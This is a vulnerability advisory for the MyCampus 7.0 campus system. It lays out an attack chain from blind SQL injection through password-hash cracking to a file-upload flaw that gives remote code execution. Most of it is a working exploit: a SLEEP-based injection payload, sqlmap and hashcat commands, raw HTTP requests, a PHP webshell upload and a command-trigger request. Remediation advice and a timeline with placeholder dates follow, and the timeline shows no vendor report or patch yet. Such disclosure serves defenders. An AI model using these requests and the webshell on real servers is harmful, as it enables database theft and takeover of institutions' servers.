Date: June 28, 2026
Severity: Critical 9.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:I/V:C/RE:H/U:Red
Vendor: MyCampus
Affected Version: Version 7.0
A Time-Based Blind SQL Injection vulnerability exists in the userid parameter,
allowing an unauthenticated attacker to extract password hashes from the database.
The hashes use the deprecated MySQL4.1/MySQL5 algorithm which is trivially crackable.
Once credentials are obtained, the Utility feature ("Upload Foto/Logo/Gambar") does not
validate file extensions, allowing upload of a PHP webshell and achieving Remote Code
Execution on the server.
Attack Chain:
SQLi → Extract hash → Crack password (weak crypto) → Login → Utility (File Upload) → RCE
1. Verify SQLi
Send the following request. If the server responds with a ~5 second delay, the endpoint is confirmed vulnerable.
POST /cgi-bin/MyAKA/MyCampus-Engine.myaka HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
mylic=[mylic]&mydb=[mydb]&myorg=[myorg]&screenheight=837
&userid=apa' AND (SELECT 6162 FROM (SELECT(SLEEP(5)))DihY) AND 'Wblc'='Wblc
&userpwd=apa
2. Extract hash using SQLMap
sqlmap -r request.txt --technique=T --dump3. Crack hash (MySQL4.1/MySQL5)
hashcat -a 3 -m 300 hash.txt4. Login with cracked credentials
POST /cgi-bin/MyAKA/MyCampus-Engine.myaka HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
userid=[username]&userpwd=[password]&mylic=[mylic]&mydb=[mydb]&myorg=[myorg]
5. Upload PHP webshell via Utility → "Upload Foto/Logo/Gambar"
The server does not validate file extensions on endpoint utiluploadfoto_new.myaka.
POST /cgi-bin/MyAKA/utiluploadfoto_new.myaka HTTP/1.1
Host: [target]
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file01"; filename="shell.php"
Content-Type: application/octet-stream
<?php exec($_GET['command'], $out); echo implode("\n", $out); ?>
------boundary
Content-Disposition: form-data; name="jenisupload"
/GuruSMK
------boundary
Content-Disposition: form-data; name="where"
c:/xampp/htdocs/smsicons
------boundary
Content-Disposition: form-data; name="userid"
[username]
------boundary
Content-Disposition: form-data; name="userpwd"
[password_hash]
------boundary
Content-Disposition: form-data; name="mylic"
[mylic]
------boundary
Content-Disposition: form-data; name="mydb"
[mydb]
------boundary
Content-Disposition: form-data; name="myorg"
[myorg]
------boundary--
6. Trigger RCE
GET /smsicons/GuruSMK/shell.php?command=whoami HTTP/1.1
Host: [target]
An unauthenticated attacker can extract the entire database, crack passwords, upload a webshell, and execute arbitrary commands on the server. As this is a vendor-level vulnerability, all institutions using MyCampus are potentially affected.
- Use parameterized queries / prepared statements
- Replace hashing algorithm with bcrypt or Argon2
- Validate and whitelist allowed file extensions on upload
- Store uploaded files outside the webroot
| Date | Event |
|---|---|
| 28/06/2026 | Vulnerability discovered |
| DD/MM/YYYY | Reported to vendor |
| DD/MM/YYYY | Patch released |
| DD/MM/YYYY | Public disclosure |